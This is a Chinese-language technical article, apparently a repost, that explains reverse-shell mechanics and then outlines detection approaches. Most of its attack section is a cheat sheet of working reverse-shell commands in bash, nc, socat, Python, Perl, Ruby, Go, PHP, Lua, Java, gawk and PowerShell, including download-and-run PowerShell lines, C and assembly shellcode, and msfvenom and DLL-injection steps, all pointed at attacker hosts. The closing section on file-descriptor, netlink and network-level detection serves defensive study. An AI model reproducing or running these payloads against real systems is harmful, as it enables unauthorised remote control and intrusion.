反彈Shell原理及檢測技術研究


1. 反彈Shell的概念本質

所謂的反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。 

本文會先分別討論:

  • 命令執行(system executor)
  • 網絡通信(network api)

這兩個基礎原子概念,然后在之后的章節中用組合的方式來呈現現在主流的反彈shell技術方式及其原理,用這種橫向和縱向拆分的方式來幫助讀者朋友更好地理解反彈shell。

 

2. 網絡通信(network api)方式討論

0x1:/dev/[tcp|udp]【4層協議】

1. 從文件描述(file descriptor)符說起

linux文件描述符可以理解為linux跟蹤打開文件而分配的一個數字句柄,這個數字本質上是一個文件句柄,通過句柄就可以實現文件的讀寫操作。

當Linux啟動的時候會默認打開三個文件描述符,分別是:

  • 標准輸入:standard input 0 (默認設備鍵盤)
  • 標准輸出:standard output 1(默認設備顯示器)
  • 錯誤輸出:error output 2(默認設備顯示器)

進程啟動后再打開新的文件,描述符會自動依次增加。每一個新進程都會繼承其父進程的文件描述符,因此所有的shell命令(本質上也是啟動新進程),都會默認有三個文件描述符。

Linux一切皆文件,鍵盤、顯示器設備也是文件,因此他們的輸入輸出也是由文件描述符控制。如果我們有時候需要讓輸出不顯示在顯示器上,而是輸出到文件或者其他設備,那我們就需要重定向。

2. 重定向

重定向主要分為兩種

  • 輸入重定向
    • “<”
    • “<<”
  • 輸出重定向
    • “>”
    • “>>”

bash在執行一條指令的時候,首先會檢查命令中是否存在文件描述符重定向的符號,如果存在那么首先將文件描述符重定向(預處理),然后在把重定向去掉,繼續執行指令。如果指令中存在多個重定向,重定向從左向右解析

1)輸入重定向

[n]< word 
(注意[n]與<之間沒有空格)

說明:將文件描述符 n 重定向到 word 指代的文件(以只讀方式打開),如果n省略就是0(標准輸入)。

解析器解析到 "<" 以后會先處理重定向,將標准輸入重定向到file,之后cat再從標准輸入讀取指令的時候,由於標准輸入已經重定向到了file ,於是cat就從file中讀取指令了。

2)輸出重定向

[n]> word

說明: 將文件描述符 n 重定向到word 指代的文件(以寫的方式打開),如果n 省略則默認就是 1(標准輸出)。

 

上述指令將文件描述符1(標准輸出)重定向到了指定文件。

3)標准輸出與標准錯誤輸出重定向

下面3種形式完全等價,

&> word 
>& word
> word 2>&1:將標准錯誤輸出復制到標准輸出

說明:將標准輸出與標准錯誤輸出都定向到word代表的文件(以寫的方式打開)。

 

解釋:我們首先執行了一個錯誤的命令,可以看到錯誤提示被寫入文件(正常情況下是會直接輸出的),我們又執行了一條正確的指令,發現結果也輸入到了文件,說明正確錯誤消息都能輸出到文件。

4)文件描述符的復制

[n]<&[m] 
n]>&[m] 
注意:這里所有字符之間不要有空格
  • 這兩個指令都是將文件描述符 n 復制到 m ,兩者的區別是
    • [n]<&[m] :以只讀的形式打開
    • n]>&[m] :以寫的形式打開
  • 這里的 & 目的是為了區分數字名字的文件和文件描述符,如果沒有 & 系統會認為是將文件描述符重定向到了一個數字作為文件名的文件,而不是一個文件描述符

注意,重定向符號的順序不能隨便換,因為系統是從左到右執行。我們來分析上面指令結果出現的原理,

首先解析器解析到 2>&1

解析器再向后解析到 “>” 

5)exec 綁定重定向

exec [n] <> file/[n]:以讀寫方式打開file指代的文件,並將n重定向到該文件。如果n不指定的話,默認為標准輸入
exec [n] < file/[n] 
exec [n] > file/[n]

使用 exec 指令,可以讓重定向在接下來的會話中(多條指令)持續有效。

 

0x2:通過建立socket tcp連接實現網絡通信【4層協議】 

0x3:使用ICMP實現網絡通信【4層協議】

0x4:使用DNS實現網絡通信【7層協議】

Relevant Link: 

https://xz.aliyun.com/t/2548 

 

3. 命令執行(system executor)方式討論

0x1:通過管道符傳遞指令

echo "hello" | cat

0x2:通過調用glibc api執行系統指令

本質上來說,Linux系統中的ring3應用程序啟動時都會加載glibc.so庫,glibc庫中對Linux系統調用實現了封裝。應用程序可以像使用C庫那樣,安全地使用系統調用。

0x3:通過直接調用系統調用執行指令

一般來說,應用程序可以通過glibc封裝出的接口來使用系統調用,這樣避免一些鎖、傳參檢查等問題。但是技術上,應用程序完全也可以繞過glibc,直接發起syscall系統調用。

 

4. 反彈Shell攻擊組合方式討論

有了之前對命令執行和網絡通信方式底層原理的討論之后,這一章開始,我們將其進行橫向和縱向的組合,討論具體的反彈Shell姿勢,並對每種姿勢的底層原理進行分析。

0x1:“重定向符”+"/dev/tcp網絡通信"Bash反彈Shell

這一類反彈shell的本質是把bash/zsh等進程的 0 1 2 輸入輸出重定向到遠程socket,由socket中獲取輸入,重定向 標准輸出(1)和錯誤輸出(2)到socket。

attacker機器上執行:
nc -lvp 2333

victim 機器上執行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • “bash -i”:bash 是linux的一個比較常見的shell,除此之外還有 sh、zsh、等,他們之間有着細小差別
  • “-i”:這個參數表示的是產生交互式的shell
  • “/dev/tcp/ip/port”:/dev/tcp|udp/ip/port 這個文件可以將其看成一個設備(Linux下一切皆文件),對這個文件進行讀寫,就能實現與監聽端口的服務器的socket通信
  • ”>&“:混合輸出(錯誤、正確輸出都輸出到一個地方),避免受害者機器上依然能看到我們在攻擊者機器中執行的指令
  • 0>&1:輸入0是由 /dev/tcp/192.168.146.129/2333 輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到 /dev/tcp/192.168.146.129/2333 上,這就形成了一個回路,實現了我們遠程交互式shell 的功能
    •  

常見的變種命令行如下:

  • 方式一:顯式用“2>&1”來對錯誤輸出進行重定向 
    • bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
  • 方式二:唯一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不同,而對於這個文件描述符來講並沒有什么區別
    • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    • bash -i >& /dev/tcp/192.168.146.129/2333 0<&1
  • 方式三:
    • bash -i >& /dev/tcp/192.168.146.129/2333 <&2
    • bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
  • 方式四:
    • exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
      • “exec 5<>/dev/tcp/192.168.146.129/2333”:這一句將文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 並且方式是讀寫方式,於是我們就能通過文件描述符對這個socket連接進行操作了
      • “command|while read line do .....done”:從文件中依次讀取每一行,將其賦值給 line 變量(這里變量可以很多,以空格分隔),之后再在循環中對line進行操作。
      • ”>&5 2>&1“:使用管道符對攻擊者機器上輸入的命令依次執行,並將標准輸出和標准錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現交互式shell的功能
    • 0<&196;exec 196<>/dev/tcp/192.168.146.129/4444; sh <&196 >&196 2>&196
  • 方式五:
    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
      • “mkfifo”:首先創建了一個管道
      • “cat”:將管道里面的內容輸出傳遞給/bin/sh
      • “/bin/sh -i 2>&1|nc .... > /tmp/f”:sh會執行管道里的命令並將標准輸出和標准錯誤輸出結果通過nc 傳到該管道,由此形成了一個回路
    • mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

0x2:第三方軟件內置“socket通信”+“指令交互”實現反彈shel功能

第三方軟件可以通過編譯性或者解釋性語言,在內部實現系統命中的調用執行以及網絡雙向通信的功能。理論上說,這類方式的變化是無限的。

1. nc

nc 如果安裝了正確的版本(存在-e 選項就能直接反彈shell)

nc -e /bin/sh 192.168.146.129 2333

2. telnet反彈shell

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

3. socat反彈shell

# 監聽命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

# 反彈命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999

 

4. Xterm 

# 在主控端配置
# 開啟Xserver:  # TCP 6001
Xnest :1                

# 授予目標機連回來的權限:
xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server
# 如果想讓任何人都連上:
xhost +                      

# 在受控端執行
# 假設xterm已安裝,連回你的Xserver:
xterm -display attackerip:1
或者:
$ DISPLAY=attackerip:0 xterm

0x3:“管道符”+ “socket網絡通信”實現bash反彈shell

1. 基於匿名管道(pipe)傳遞指令流

匿名管道(pipe)是內核中的一個單向數據通道,管道有一個讀端和一個寫端。一般用於父子進程之間的通信。

# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server 
ncat -lvvp 8888

bash進程的輸入輸出都來自其他進程的pipe。

2. 基於命名管道(fifo)

fifo是命名管道也被稱為FIFO文件,它是一種特殊類型的文件,它在文件系統中以文件名的形式存在(因為多個進程要識別),它的行為和匿名管道類似(一端讀一端寫),但是FIFO文件也不在磁盤進行存儲。一般用於進程間的通信。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f
  • mkfifo 命令首先創建了一個管道
  • cat 將管道里面的內容輸出傳遞給/bin/sh
  • sh會執行管道里的命令並將標准輸出和標准錯誤輸出結果通過 nc 傳到該管道,由此形成了一個回路

0x4:git解釋性腳本語言反彈shell

1. python反彈shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

# 拆成多行方便閱讀
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('ip',port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
  • 使用duo2方法將第二個形參(文件描述符)指向第一個形參(socket鏈接)
    • os.dup2(s.fileno(),0)
    • os.dup2(s.fileno(),1)
    • os.dup2(s.fileno(),2)
  • 使用os的subprocess在本地開啟一個子進程,啟動bash交互模式,標准輸入、標准輸出、標准錯誤輸出被重定向到了遠程

2. perl反彈shell 

perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 拆成多行方便閱讀
use Socket
$i=”10.211.55.2"
$p=7777
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){
    open(STDIN,">&S")
    open(STDOUT,">&S")
    open(STDERR,">&S")
    exec("/bin/sh -i")
}

3. ruby反彈shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

4. go反彈shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

5. php反彈shell

php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

6. lua反彈shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8. gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

9. powershell反彈shell

powershell反彈shell本質上是一些多功能代碼集合,通過調用windows提供的api接口實現網絡通信和指令解析執行的功能。

1)powercat反彈shell

# 攻擊者(192.168.159.134)開啟監聽:
nc -lvp 6666
# 或者使用powercat監聽
powercat -l -p 6666

# 目標機反彈cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2)nishang反彈shell

Nishang是一個基於PowerShell的攻擊框架,集合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell。

## Reverse TCP shell

# 攻擊者(192.168.159.134)開啟監聽:
nc -lvp 6666

# 目標機執行:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

# 或者將nishang下載到攻擊者本地:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

## Reverse UDP shell

# 攻擊者(192.168.159.134)開啟監聽:
nc -lvup 53

# 目標機執行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

## Reverse ICMP shell

# 首先攻擊端下載icmpsh_m.py文件
https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1

# 攻擊者(192.168.159.134)執行
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #開啟監聽

# 目標機(192.168.159.138)執行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

3)自定義powershell函數反彈shell

利用powershell創建一個Net.Sockets.TCPClient對象,通過Socket反彈tcp shell。

# 攻擊者(192.168.159.134) 開啟監聽 
nc -lvp 6666

# 目標機執行 
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4)Empire 結合office反彈shell

Empire(https://github.com/EmpireProject/Empire)基於powershell的后滲透攻擊框架,可利用office宏、OLE對象插入批處理文件、HTML應用程序(HTAs)等進行反彈shell。

  • 利用office宏反彈shell 
  • 利用office OLE對象插入bat文件反彈shell

Relevant Link: 

https://www.anquanke.com/post/id/99793

10. regsvr32反彈shell

0x5:msf生成payload反彈shell

1. 生成腳本解釋型代碼並執行

本質上就是在目標機器執行了一段Python代碼,和上一章節的python反彈shell沒有本質區別。

2. 生成編譯型二進制文件並執行

本質上就是在目標機器執行了一個二進制程序。

3. 內存shellcode執行

通過shellcode直接調用glibc或者syscall完成反彈shell。 

1)C代碼

#include<sys/socket.h>   //構造socket所需的庫
#include<netinet/in.h>  //定義sockaddr結構
int main()
{
  char *shell[2];       //用於execv調用
  int soc,remote;    //文件描述符句柄
  struct sockaddr_in serv_addr; //保存IP/端口值的結構
 
  serv_addr.sin_addr.s_addr=0x6400A8C0;  //將socket的地址設置為所有本地地址
  serv_addr.sin_port=0xBBBB;  //設置socket的端口48059
  serv_addr.sin_family=2;   //設置協議族:IP
  soc=socket(2,1,0);
  remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
 
  dup2(soc,0);   //將stdin連接client
  dup2(soc,1);   //將stdout連接client
  dup2(soc,2);   //將strderr連接到client
  shell[0]="/bin/sh";   //execve的第一個參數
  shell[1]=0;           //數組的第二個元素為NULL,表示數組結束
  execv(shell[0],shell,NULL);   //建立一個shell
}

2)匯編語言代碼

section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx  ;清空edx
 
;soc=socket(2,1,0)
push eax  ;socket的第三個參數:0
push byte 0x1 ;socket的第二個參數:1
push byte 0x2 ;socket的第一個參數:2
mov ecx,esp ;將數組的地址設置為socketcall的第二個參數
inc bl  ;將socketcall的第一個參數設置為1
mov al,102  ;調用socketcall,分支調用號為1:SYS_SOCKET
int 0x80  ;進入核心態,執行系統調用
mov esi,eax ;將返回值(eax)存儲到esi中(即soc句柄)
 
;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
push edx; ;仍然為0,用來作為接下來壓棧的數據的結束符
push long 0x6400A8C0  ;本節代碼中新增,將地址反序得到的十六進制壓棧
push word 0xBBBB  ;將端口壓棧,十進制為48059
xor ecx,ecx ;清空ecx,以便保存結構的sa_family字段
mov cl,2  ;將ecx的地位字節,設置為2
push word cx  ;建立結構,包括端口和sin.family,共四個字節
mov ecx,esp ;將結構的地址(在棧上)復制到ecx
push byte 0x10  ;connect參數的開始,將16壓棧
push ecx  ;在棧上保存結構的地址
push esi  ;將服務器文件描述符esi保存到棧
mov ecx,esp ;將參數數組的地址保存到ecx(socketcall的第二個參數)
mov bl,3  ;將bl設置為3,socketcall的第一個參數
mov al,102  ;調用socketcall,分支調用號為3:SYS_CONNECT
int 0x80  ;進入核心態,執行系統調用
 
mov ebx,esi ;將客戶端的soc文件描述符復制到ebx
;dup2(soc,0)
xor ecx,ecx ;清空ecx
mov al,63 ;將系統調用的第一個參數設置為63:dup
int 0x80  ;進行系統調用
 
;dup2(client,1)
inc ecx ;ecx設置為1
mov al,63 ;准備進行系統調用:dup2:63
int 0x80  ;進行系統調用
 
;dup2(client,2)
inc ecx ;ecx設置為2
mov al,63 ;准備進行系統調用:dup2:63
int 0x80 ;進行系統調用
 
;標准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

注意,push long 0x6400A8C0 這里就是IP地址,出現了00,在網絡傳輸中會被截斷。

nasm -f elf reverse_port_asm.asm
ld -o reverse_port_asm reverse_port_asm.o
# 然后抽取十六進制代碼
objdump -d ./reverse_port_asm
# 得到shellcode 

4. 通過dll進程注入執行反彈shell

PowerSploit是又一款基於powershell的后滲透攻擊框架。PowerSploit包括Inject-Dll(注入dll到指定進程)、Inject-Shellcode(注入shellcode到執行進程)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 實現dll注入,反彈shell、

  • msfvenom生成dll后門:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll
  • metasploit設置payload開啟監聽
  • powershell下載PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后門:IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

本質上,dll進程注入和上一節介紹的shellcode執行的原理的是一樣的。

0x6:dns_shell & icmp_shell

本質上說,dns和icmp是一種網絡通信方式,使用任何語言都可以借助這兩種網絡通信方式進行反彈shell交互。

但是我們知道,dns和icmp和tcp/udp不一樣,它們都不是直連的網絡信道,而是需要通過一個第三方進行消息中轉。

  • dns(udp直連模式)
    • control server將指令封裝成dns包格式,通過udp53直接發送給client
    • victim client從udp53接收到dns包后進行解析,從中提取並解碼得到指令,並將執行結果封裝成dns包格式,通過udp53返回給server
  • dns(authoritative DNS server轉發模式)
    • victim client配置好dns resolve(domain nameserver),之后將所有的執行結果和指令請求都以正常dns query的形式發送給local DNS server,隨后通過dns遞歸查詢最終會發送到攻擊者控制的domain nameserver上
    • control server從dns query中過濾出反彈shell相關的會話通信,並按照dns response的形式返回主控指令。 

Relevant Link: 

https://xz.aliyun.com/t/2549
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html
https://xz.aliyun.com/t/6727

 

5. 反彈Shell檢測思路

0x1:進程 file descriptor 異常檢測

1. 檢測 file descriptor 是否指向一個socket

以“重定向符”+"/dev/tcp網絡通信"Bash反彈Shell這一類最經典的反彈Shell攻擊方式為例,這類反彈shell的本質可以歸納為file descriptor的重定向到一個socket句柄

  

1. 檢測 file descriptor 是否指向一個管道符(pipe)

對於利用“管道符”傳遞指令的反彈shell攻擊方式來說,這類反彈shell的本質可以歸納為file descriptor的重定向到一個pipe句柄

更進一步地說,不管做了多少層的pipe,反彈shell的本質是將server的輸入傳遞給client的bash,因此肯定存在socket連接。

我們只需要根據pid追溯pipe上游的進程,並判斷其進程fd,檢查是否是來自一個socket。

例如,跟蹤pipe,發現pipe的進程建立了socket連接,那么就存在反彈shell的風險。 

0x3:netlink監控+fd異常檢測

  • 監聽Netlink Socket,實時獲取進程EXEC事件。
  • 如果為Shell進程,檢查進程啟動打開的FD,
    • 打開了Socket
    • 未使用/dev/tty、/dev/pts/n、/dev/ptmx等終端
    • 則確認為反彈Shell 

繞過風險

繞過風險:僅能通過進程執行文件名判斷是否為Shell進程,上傳可執行文件、拷貝Bash文件到其他路徑等方法會繞過這個方法

例如這篇文章提到的,通過將/bin/sh重命名為其他名字進行反彈shell。

0x4:腳本文件 && 應用程序 && 無文件(fileless)反彈shell檢測

前面幾節討論的fd監控方案,其本質都是針對”通過系統bash程序實現的反彈shell“。

但是我們需要注意的是,操作系統是分層的,Bash只是一個應用程序的普通應用,其內部封裝了調用glibc execve的功能而已,除了bash之外,白帽子還可以基於任意的應用層技術來實現反彈shell,例如:

  • python/perl實現純代碼形式的反彈shell文件執行:文件腳本檢測
  • python/perl實現純代碼形式的反彈shell命令行指令(fileless):純命令行fileless檢測
  • C/C++實現純代碼形式的反彈shell:二進制文件檢測

0x5:網絡層反彈shell通信特征檢測

反彈shell的通信會話中,會包含一些”cmdline shell特征“,例如”#root....“等,可以在網絡側進行NTA實時檢測。

Relevant Link:  

https://thinkycx.me/2019-07-06-how-to-detect-a-reverse-shell.html
https://github.com/zhanghaoyil/seesaw
https://www.freebuf.com/articles/system/187584.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM